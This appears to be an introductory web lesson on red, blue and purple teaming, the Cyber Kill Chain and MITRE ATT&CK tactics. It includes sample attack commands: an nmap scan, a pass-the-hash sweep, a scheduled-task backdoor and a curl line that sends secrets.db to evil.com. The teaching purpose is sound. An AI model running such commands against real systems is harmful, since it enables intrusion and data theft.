Two sides of the same coin — attackers probe for weaknesses while defenders build fortresses. Understanding both is the key to true cybersecurity mastery.
Imagine a medieval castle. The Red Team is the group of warriors hired by the king to attack his own castle and find weak points in the walls. The Blue Team is the garrison defending those walls. Neither team is "bad" — both work for the king, and both are essential. The attackers find problems; the defenders fix them.
In modern cybersecurity, organizations hire both offensive and defensive specialists. Red teams simulate what real hackers would do — probing networks, exploiting software bugs, crafting phishing emails. Blue teams build monitoring systems, write firewall rules, and respond when an attack is detected. Together, they create a continuous improvement cycle that makes the organization more secure over time.
This is one of the most important concepts to understand as you enter cybersecurity: offense and defense are two sides of the same coin. The best defenders understand attacker techniques, and the best attackers understand defensive tools.
The Red Team consists of ethical hackers who are paid to break into systems — with explicit permission. Their job is to think and act like a real adversary: find the cracks, exploit them, and document everything so the organization can fix the weaknesses before a criminal finds them.
The Blue Team is the organization's defensive force. They are the guards, the watchers, the builders of walls. Blue team professionals design security architecture, monitor systems 24/7 for signs of intrusion, investigate alerts, and lead the response when an attack is confirmed.
The Purple Team isn't a separate team — it's a collaborative methodology. Red and Blue teams work together in real-time: the Red Team attacks while the Blue Team watches, learns, and improves defenses immediately. This feedback loop accelerates security maturity far beyond what either team achieves alone.
Example: During a purple team exercise, the red team might attempt a phishing attack with a crafted email. Instead of the blue team only finding out in the final report weeks later, they watch the attack unfold in real-time. They see exactly which detection rules fired (or didn't), how the email bypassed the spam filter, and what the malware payload did on the endpoint. They can tune their detections immediately.
Why it matters: In traditional engagements, the red team writes a report and the blue team reads it months later. Critical lessons are lost to time. Purple teaming closes this gap — knowledge transfers instantly, and the organization improves in days, not quarters.
A financial services company hires a red team for a 2-week engagement. Here's what happens:
The Cyber Kill Chain, developed by Lockheed Martin, breaks every cyberattack into 7 sequential stages. Understanding each stage helps defenders identify and stop attacks earlier — the earlier you break the chain, the less damage occurs.
The attacker gathers information about the target without directly touching their systems. This includes searching LinkedIn for employee names, scanning public DNS records, reading the company blog for technology clues, and using tools like Shodan to find internet-facing devices. Defense: Limit public information exposure, monitor for company mentions on paste sites.
The attacker creates a deliverable payload — for example, a malicious Word document with an embedded macro, or a custom exploit for a known vulnerability. They pair an exploit (how to get in) with a payload (what to do once inside). This stage happens entirely on the attacker's side. Defense: Keep systems patched so known exploits don't work.
The weapon is transmitted to the target. The most common delivery method is phishing email (91% of cyberattacks start with email). Other methods include watering hole attacks (compromising a website the target visits), USB drops, or exploiting public-facing web applications. Defense: Email filtering, web proxies, user security training.
The vulnerability is triggered. The user opens the malicious document, the macro runs, or the web server processes the crafted request. Code execution happens on the target system. This is the moment the attacker transitions from "trying" to "succeeding." Defense: Application whitelisting, disable macros, endpoint protection.
The attacker installs persistent access — a backdoor, a web shell, a scheduled task, or a new user account. The goal is to maintain access even if the initial vulnerability is patched. Ransomware deploys at this stage. Defense: EDR monitoring, file integrity monitoring, audit new services/accounts.
The compromised system phones home to the attacker's server, establishing a remote control channel. C2 traffic is often disguised as normal HTTPS or DNS traffic to evade detection. The attacker can now issue commands, upload tools, and navigate the network. Defense: Network monitoring for unusual outbound connections, DNS anomaly detection, threat intelligence feeds.
The attacker achieves their goal: stealing sensitive data, encrypting files for ransom, destroying systems, or establishing long-term espionage access. This stage causes the actual damage. By the time you detect it here, the attack was already successful. Defense: DLP (Data Loss Prevention), network segmentation, backup/recovery plans.
Based on the Lockheed Martin Cyber Kill Chain. See also: MITRE ATT&CK for a more granular framework.
The MITRE ATT&CK framework is the industry-standard knowledge base of adversary tactics and techniques, based on real-world observations. Unlike the Kill Chain (which is linear), ATT&CK organizes hundreds of specific techniques into 14 tactical categories. Each technique has a unique ID (like TA0001 for Initial Access).
How it's used: Red teams select techniques from the ATT&CK matrix to plan realistic engagements. Blue teams map their detection coverage against the matrix to find gaps. If your SOC can detect 80% of techniques in TA0003 (Persistence) but only 30% in TA0008 (Lateral Movement), you know where to invest resources.
Think of it as: The Kill Chain tells you the story of an attack (beginning to end). MITRE ATT&CK is the encyclopedia of everything an attacker might do at each stage. Both are essential — they complement each other.
Below are 6 core attack tactics from the MITRE ATT&CK matrix. In a real engagement, a red team operator chains these together — recon leads to initial access, which enables escalation, which enables lateral movement, and so on.
Before touching the target, attackers gather intelligence: OSINT from LinkedIn and social media, DNS record enumeration (finding subdomains like dev.target.com), scanning for open ports and running services. Most red team engagements spend 30-50% of their time on recon — the more you know, the more surgical your attack.
nmap -sV -sC -O target.com
This Nmap command detects service versions (-sV), runs default scripts (-sC), and fingerprints the OS (-O).
The first foothold into the target network. The most common method is phishing (91% of attacks start with email). Other methods: exploiting a vulnerable web application, compromising a third-party vendor (supply chain attack), or using stolen credentials from a data breach. The attacker only needs to succeed once — the defender must stop them every time.
msfconsole > use exploit/multi/handler
Metasploit's handler catches incoming connections from payloads delivered via phishing or other vectors.
After gaining initial access (usually as a low-privilege user), the attacker needs admin/root access to do real damage. They look for SUID binaries, misconfigured sudo rules, unpatched kernel vulnerabilities, or stored credentials. On Windows: token impersonation, UAC bypass, or exploiting unquoted service paths. This step turns a minor compromise into total control.
find / -perm -4000 -type f 2>/dev/null
Finds all SUID binaries on a Linux system — any of these could be a privilege escalation vector.
Once on one machine, the attacker moves through the network to reach high-value targets (domain controllers, database servers, executive workstations). Techniques include Pass-the-Hash (using a stolen password hash without cracking it), Remote Desktop (RDP), SSH pivoting between servers, and Windows Management Instrumentation (WMI). This is where network segmentation pays off — if the network is flat, one compromised machine means all machines are at risk.
crackmapexec smb 10.0.0.0/24 -u admin -H hash
CrackMapExec attempts Pass-the-Hash authentication across an entire subnet.
Attackers don't want to lose access if the system reboots or the initial vulnerability is patched. They establish persistence: registry run keys (Windows auto-starts malware), scheduled tasks/cron jobs, web shells on the server, rootkits that hide deep in the OS, or new user accounts. Sophisticated attackers plant multiple persistence mechanisms as backups — kill one, and another activates.
schtasks /create /sc onlogon /tn "updater" /tr "C:\backdoor.exe"
Creates a Windows scheduled task that runs a backdoor every time a user logs in.
The attacker's payday — stealing the data. Methods range from simple (zip files uploaded to a cloud drive) to sophisticated (data hidden inside DNS queries, encrypted tunnels through allowed protocols, or steganography — hiding data inside images). Advanced attackers exfiltrate slowly over weeks to avoid triggering data volume alerts. This is where ransomware groups now do "double extortion" — encrypt AND steal data.
curl -X POST -d @secrets.db https://evil.com/drop
A basic HTTP POST exfiltration — real attackers encrypt the data and disguise the destination.
A mature blue team organizes its defenses into three categories. Think of them as a timeline: Prevention (before the attack), Detection (during the attack), and Response (after the attack is discovered). No organization can achieve 100% prevention, which is why detection and response are equally important.
Stop attacks before they happen:
Find attackers who got past prevention:
Handle confirmed incidents:
No single security control is perfect. Defense in Depth layers multiple security measures so that if one fails, others still protect the asset. It's like a medieval castle: even if the outer wall is breached, there's a moat, then an inner wall, then a keep, then armed guards.
Each layer below protects a smaller, more valuable area. An attacker must defeat every layer to reach the data:
Real-world example: An attacker's phishing email bypasses the perimeter (no firewall blocks email content). But EDR on the host detects the malware. Defense in Depth saved the day — one layer failed, the next caught it.
Drag each scenario into the correct team bucket. Is it a Red Team (offensive) or Blue Team (defensive) activity?
Click each card to reveal the answer.
All certification names are referenced for educational purposes only. This project is not affiliated with any certification body.